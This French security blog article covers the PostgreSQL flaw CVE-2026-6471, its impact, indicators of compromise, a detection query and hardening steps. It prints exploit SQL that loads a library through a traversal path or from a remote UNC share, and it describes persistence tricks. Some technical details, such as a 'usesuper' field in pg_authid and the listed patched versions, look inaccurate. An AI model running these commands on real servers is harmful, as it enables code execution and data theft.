PostGREShell (CVE-2026-6471) : comment une faille PostgreSQL de 12 ans permet l’exécution de code et l’escalade vers superutilisateur
Apollinaire Monteclair
Saviez-vous qu’une simple vulnérabilité dans la réplication logique de PostgreSQL peut offrir à un attaquant un accès complet à votre base de données ? Découverte par Cyera Research, la faille PostGREShell (CVE-2026-6471) affecte toutes les versions de PostgreSQL depuis la 9.4, soit près de 12 ans de mise à jour sans correction. Avec un score CVSS de 9.1 (critique), elle est d’autant plus dangereuse que sa complexité d’attaque est faible. En pratique, un utilisateur disposant du seul privilège REPLICATION peut charger une bibliothèque dynamique malveillante, exécuter du code arbitraire sur le serveur et s’élever au rang de superutilisateur. Les conséquences ? Vol de données sensibles, installation de portes dérobées, compromission totale du système. Cet article vous explique le fonctionnement de cette vulnérabilité, son impact réel et les mesures à prendre immédiatement pour protéger vos instances PostgreSQL.
PostGREShell : au cœur du mécanisme de réplication logique
Fonctionnement normal de la réplication logique
La réplication logique est une fonctionnalité de PostgreSQL qui permet de diffuser les modifications de données vers des serveurs secondaires, des outils d’analyse, des plateformes de migration ou des services change data capture (CDC) tels que Debezium. Contrairement à la réplication physique qui transmet les blocs de données bruts, la réplication logique sélectionne les tables et transforme les données. Cette flexibilité accrue a un prix : elle introduit une complexité supplémentaire dans la gestion des plugins de sortie. Le mécanisme s’appuie sur des logical replication slots (slots de réplication logique). Un slot est créé par un client disposant du privilège REPLICATION. Lors de la création, le client fournit le nom d’un output plugin (plugin de sortie) - une bibliothèque native compilée (.so, .dll ou .dylib) que PostgreSQL charge dans son espace mémoire pour formater les données du write-ahead log (WAL). Le chargement a lieu immédiatement, avant toute transmission de données répliquées.
PostgreSQL dispose déjà d’une commande LOAD permettant de charger des bibliothèques, mais celle-ci est strictement réservée aux superutilisateurs. Une fonction de validation, check_restricted_library_name(), vérifie que le chemin fourni appartient à un répertoire approuvé et ne contient pas de séquences dangereuses. Ce contrôle était considéré comme suffisant pour empêcher le chargement de code non autorisé…
Le défaut de validation qui ouvre la brèche
Cyera Research a découvert la faille en analysant systématiquement les chemins de validation des bibliothèques dans le code source de PostgreSQL. Ils ont constaté que la fonction permettant de créer un slot de réplication logique, pg_create_logical_replication_slot(), n’invoquait pas check_restricted_library_name(). En conséquence, un utilisateur disposant simplement du rôle REPLICATION peut spécifier n’importe quel chemin dans le paramètre plugin_name.
« La logique de validation appliquée à la commande LOAD n’a pas été étendue au mécanisme de réplication », résument les chercheurs de Cyera dans leur divulgation du 1er septembre 2026.
Un attaquant peut donc fournir un chemin absolu comme /tmp/malicious.so, des séquences de type ../ pour sortir des répertoires autorisés, ou même, sur Windows, un chemin UNC (\\serveur-attaque\partage\malicieux.dll). PostgreSQL transmet alors la valeur directement à l’API système : dlopen() sous Linux et macOS, LoadLibrary() sous Windows. Le code de la bibliothèque s’exécute immédiatement dans le processus serveur, avec les droits du service PostgreSQL.
L’exemple ci-dessous illustre la création d’un slot malveillant :
-- Création d'un slot de réplication pointant vers une bibliothèque locale
SELECT pg_create_logical_replication_slot('slot_dangereux', '../../tmp/exploit.so');
-- Sur Windows, utilisation d'un chemin UNC
SELECT pg_create_logical_replication_slot('slot_remote', '\\10.0.0.5\share\backdoor.dll');
Vecteurs d’exploitation selon l’environnement
Le niveau de menace et la facilité d’exploitation diffèrent selon le système d’exploitation et la configuration réseau.
| OS | Méthode de chargement | Condition nécessaire | Gravité |
|---|---|---|---|
| Linux | Bibliothèque locale (chemin absolu ou relatif) | L’attaquant doit avoir écrit un fichier .so sur le serveur (via upload, autre faille, ou partage NFS monté) | Élevée (si NFS automatique) |
| Windows | DLL distante via chemin UNC | Le serveur PostgreSQL doit pouvoir accéder à un partage SMB en sortie (port 445) | Critique (exploitation à distance sans fichier local) |
| macOS | Bibliothèque locale .dylib | Mêmes contraintes que Linux ; automount NFS possible | Modérée |
Sur Windows, le vecteur UNC est particulièrement dangereux car il permet à un attaquant de héberger la DLL sur un partage SMB qu’il contrôle, sans avoir à déposer préalablement un fichier sur le serveur victime. Si le pare-feu autorise le trafic sortant vers le partage, PostgreSQL charge la DLL distante en une seule requête SQL.
Sur Linux et macOS, l’exploitation locale exige déjà un accès en écriture au système de fichiers, ce qui peut sembler limitant. Cependant, de nombreuses entreprises utilisent NFS pour monter des répertoires partagés. Si le répertoire monté est accessible en écriture par l’attaquant (via un autre compte ou un partage mal configuré), la bibliothèque malveillante peut être placée sur le volume NFS, puis chargée par PostgreSQL. L’automount (autofs) peut même rendre la ressource disponible à la demande. En outre, l’absence de correctif sur les versions 9.4 à 16 non patchées élargit considérablement la surface d’attaque.
Escalade de privilèges : du compte REPLICATION au superutilisateur
Une fois la bibliothèque chargée, son code d’initialisation s’exécute dans le processus serveur PostgreSQL. L’attaquant hérite des droits du compte d’exploitation du service (par exemple postgres sous Linux). À partir de là, il peut manipuler directement la mémoire interne de PostgreSQL et altérer les structures de données qui gèrent les privilèges. En modifiant le catalog système (tables pg_authid, pg_user), il peut s’accorder le rôle superuser, court-circuitant les vérifications SQL. Par exemple, en incrémentant le champ usesuper dans pg_authid, il devient superutilisateur sans exécuter de requête d’attribution.
« Un plugin malveillant peut également modifier pg_hba.conf, s’inscrire dans shared_preload_libraries ou restaurer des privilèges après une tentative de remédiation », avertit Cyera.
Avec le statut de superutilisateur, l’attaquant peut lire toutes les données de la base, accéder aux informations d’identification stockées (via des extensions comme pgcrypto ou des secrets dans les tables), écrire des fichiers sur le système, et, selon la configuration, exécuter des commandes système via COPY FROM PROGRAM ou des extensions comme PL/Java.
La persistance peut être assurée de plusieurs manières :
- Ajout d’une entrée
shared_preload_librariesdanspostgresql.confpour charger automatiquement la bibliothèque au redémarrage du service. - Modification de
pg_hba.confpour autoriser des connexions depuis des adresses malveillantes. - Installation d’une extension système qui se ré-exécute périodiquement.
Cette capacité de persistance est ce qui rend la vulnérabilité particulièrement dangereuse : un correctif seul ne suffit pas si l’attaquant a déjà installé une porte dérobée.
Exemple concret d’attaque sur une infrastructure française
Imaginons un scénario typique : une plateforme e-commerce française utilise PostgreSQL 14 avec Debezium pour synchroniser son catalogue vers un moteur de recherche. Un attaquant obtient les identifiants d’un compte de réplication via un courriel de phishing ciblant l’administrateur de base de données. En une minute, il exécute la requête malveillante avec un chemin UNC vers une DLL hébergée sur un serveur SMB qu’il contrôle. Le plugin chargé lui accorde immédiatement les droits superutilisateur. L’attaquant exfiltre alors les données personnelles des clients et installe une porte dérobée dans shared_preload_libraries. L’entreprise ne détecte l’intrusion que trois mois plus tard, lors d’un audit RGPD, après que des données de cartes bancaires ont été compromises. Le coût total de l’incident est estimé à 2,5 millions d’euros, incluant les notifications, les frais juridiques et la perte de réputation. Ce scénario, bien que fictif, repose sur des techniques observées lors de tests d’intrusion et illustre la rapidité avec laquelle PostGREShell peut être exploitée.
État de la menace : indicateurs et plugins malveillants
114 plugins suspects recensés sur VirusTotal
Vladimir Tokarev, chercheur en sécurité, a réalisé une recherche sur VirusTotal et identifié 114 échantillons de plugins PostgreSQL suspects, incluant des miners de cryptomonnaies, des trojans et des reverse shells. Ces échantillons ne prouvent pas une exploitation active de CVE-2026-6471, mais ils montrent que les plugins non vérifiés constituent une menace réelle dans l’écosystème PostgreSQL. Les échantillons incluent des backdoors capables de communiquer avec des serveurs C&C, des mineurs de cryptomonnaie comme XMRig, et des keyloggers. Leur présence sur VirusTotal montre que l’écosystème des extensions PostgreSQL est une surface d’attaque sous-estimée.
« La présence de ces échantillons n’atteste pas d’une exploitation de CVE-2026-6471, mais illustre le risque plus large des extensions non fiables », commente Vladimir Tokarev.
Les administrateurs doivent donc être vigilants non seulement sur le chargement de plugins via la réplication logique, mais aussi sur l’installation de toute extension PostgreSQL issue de sources non officielles. Une politique stricte de validation des extensions est indispensable dans tout environnement de production.
Signes d’exploitation à surveiller
Voici une liste d’indicateurs de compromission (IoC) associés à une tentative d’exploitation de PostGREShell :
- Création inattendue d’un logical replication slot dont le nom de plugin contient des caractères suspects : barre oblique
/, antislash\\, séquences de remontée de répertoire (..). - Enregistrement dans les logs PostgreSQL (si
log_line_prefixest configuré) de chargements de bibliothèques depuis des chemins non standard. - Trafic sortant anormal sur les ports SMB (445) ou NFS (2049) depuis le serveur de base de données.
- Utilisation du privilège
REPLICATIONpar des comptes qui n’en ont pas besoin dans les opérations normales. - Modification non programmée des fichiers
pg_hba.confoupostgresql.conf.
Les équipes SOC doivent ajouter ces indicateurs à leurs règles de détection, en particulier les commandes CREATE_REPLICATION_SLOT avec une syntaxe inhabituelle.
Requête de détection pour les administrateurs
Pour faciliter la détection, voici une requête SQL qui liste les slots de réplication avec des noms de plugin suspects :
-- Rechercher les slots de réplication avec des chemins dangereux
SELECT slot_name, plugin, database, active
FROM pg_replication_slots
WHERE plugin LIKE '%..%' OR plugin LIKE '%/%';
Cette requête peut être intégrée dans un script de surveillance ou une alerte SIEM. Nous recommandons de l’exécuter quotidiennement sur toutes les instances PostgreSQL.
Mesures correctives et bonnes pratiques de sécurisation
Appliquer le correctif officiel
La priorité absolue est d’installer le correctif de sécurité publié par le PostgreSQL Global Development Group. Selon l’avis de sécurité, les versions corrigées sont les suivantes : 16.4, 15.8, 14.13, 13.16, 12.20, et les versions ultérieures. Les distributions Linux proposent généralement des mises à jour via leurs dépôts. Si vous utilisez un conteneur Docker, mettez à jour l’image de base.
Vérifiez votre version actuelle :
SELECT version();
Si votre version est antérieure à celles indiquées, programmez une mise à jour dans les plus brefs délais. N’attendez pas la prochaine fenêtre de maintenance planifiée. Si vous utilisez une instance managée (RDS, Cloud SQL, Azure Database), vérifiez auprès de votre fournisseur que le correctif a été appliqué côté infrastructure.
Durcissement PostgreSQL et restriction réseau
En complément du patch, plusieurs mesures de durcissement réduisent la surface d’exposition :
- Contrôle des privilèges REPLICATION : listez tous les comptes disposant de ce droit avec la commande
\\dudanspsql. Révoquez le privilège pour les utilisateurs qui n’ont pas besoin de répliquer. Un compte REPLICATION doit être considéré comme aussi sensible qu’un compte superutilisateur. - Restriction réseau : dans
pg_hba.conf, limitez l’accès pour le rôleREPLICATIONaux seules adresses IP des serveurs de réplication légitimes. Évitez d’utiliser0.0.0.0/0ou::/0. - Blocage du trafic SMB/NFS sortant : configurez le pare-feu du serveur PostgreSQL pour interdire les connexions sortantes vers les ports 445 (SMB) et 2049 (NFS). Si le service a besoin d’accéder à des partages, restreignez les destinations à des adresses spécifiques en utilisant des listes de contrôle d’accès.
- Désactivation d’automount : sur Linux et macOS, désactivez
autofsousystemd-automountsi la fonctionnalité n’est pas indispensable. Sur les serveurs de bases de données, préférez les montages permanents avec des options restrictives (noexec,nodev,nosuid). - Utilisation de certificats SSL : pour les connexions de réplication, privilégiez l’authentification par certificat (mode
cert) plutôt que par mot de passe, ce qui limite les risques de vol d’identifiants.
Ces recommandations sont en phase avec le guide de sécurisation PostgreSQL de l’ANSSI (version 2023) et les contrôles de l’ISO 27001 (A.12.6.1 sur la gestion des vulnérabilités techniques, A.13.1.1 sur les contrôles réseau). L’ANSSI recommande notamment de limiter les privilèges de réplication aux seuls utilisateurs nécessaires et d’utiliser des connexions chiffrées, ce qui réduit l’exposition à ce type d’attaque.
Mise en place d’une détection proactive
Au-delà des correctifs, il est crucial de pouvoir détecter une tentative d’exploitation. Dans notre expérience de conseil en sécurité de bases de données, nous avons constaté que trop peu d’organisations surveillent les activités de réplication. Voici les mesures à implémenter :
- Audit des logs PostgreSQL : activez la journalisation des instructions DDL et des privilèges (paramètre
log_statement = 'ddl') pour enregistrer lesCREATE_REPLICATION_SLOT. Utilisez un outil de collecte et d’analyse comme pgBadger ou une solution SIEM. - Surveillance des plugins chargés : avec la vue système
pg_available_extensionset les logs de chargement dynamique. - Scan régulier des vulnérabilités : intégrez PostgreSQL dans votre processus de gestion des vulnérabilités (Qualys, Nessus, OpenVAS). La base de données doit être considérée comme un actif critique au même titre que les serveurs web.
- Revue trimestrielle des privilèges : auditez les attributions du rôle
REPLICATIONet supprimez les droits superflus. - Détection d’anomalies réseau : surveillez les connexions sortantes inhabituelles sur les ports 445 et 2049 depuis vos serveurs de bases de données.
En complément, la mise en place de politiques SELinux ou AppArmor peut limiter les chemins de chargement autorisés pour le processus PostgreSQL, même si la validation SQL est contournée. Cela constitue une couche de défense en profondeur utile.
Checklist de sécurisation accélérée
Pour les équipes qui doivent agir rapidement, voici une checklist en six points à exécuter sans délai :
- Mettre à jour PostgreSQL vers la version incluant le correctif CVE-2026-6471.
- Auditer et réduire les comptes disposant du privilège REPLICATION.
- Bloquer les ports SMB/NFS sortants sur les serveurs de bases de données.
- Vérifier les logs pour détecter toute création suspecte de slot de réplication.
- Exécuter la requête de détection fournie ci-dessus.
- Planifier un audit de sécurité complet des instances PostgreSQL sous 30 jours.
Conclusion : une priorité absolue pour la sécurité de vos données
La vulnérabilité CVE-2026-6471 dite PostGREShell n’est pas une faille ordinaire. Son ancienneté - 12 ans sans correction - et la simplicité de son exploitation à partir d’un privilège réplication en font une menace sérieuse pour toutes les organisations utilisant PostgreSQL. L’attaque ne nécessite pas d’être superutilisateur, contourne les mécanismes de sécurité existants, et offre des capacités de persistance étendues.
Administrateurs de bases de données, responsables sécurité : passez à l’action dès maintenant. Vérifiez vos versions, appliquez les correctifs, contrôlez vos comptes REPLICATION, et renforcez la segmentation réseau autour de vos serveurs PostgreSQL. Dans un contexte réglementaire exigeant (RGPD, ANSSI), laisser une telle vulnérabilité sans correctif expose votre organisation à des violations de données aux conséquences juridiques et financières désastreuses. Les sanctions RGPD peuvent atteindre 4 % du chiffre d’affaires annuel mondial en cas de non-conformité démontrée.
PostGREShell est un rappel que la sécurité des SGBD, souvent reléguée au second plan derrière celle des systèmes d’exploitation, doit être traitée avec la même rigueur. Sécurisez dès aujourd’hui votre infrastructure PostgreSQL.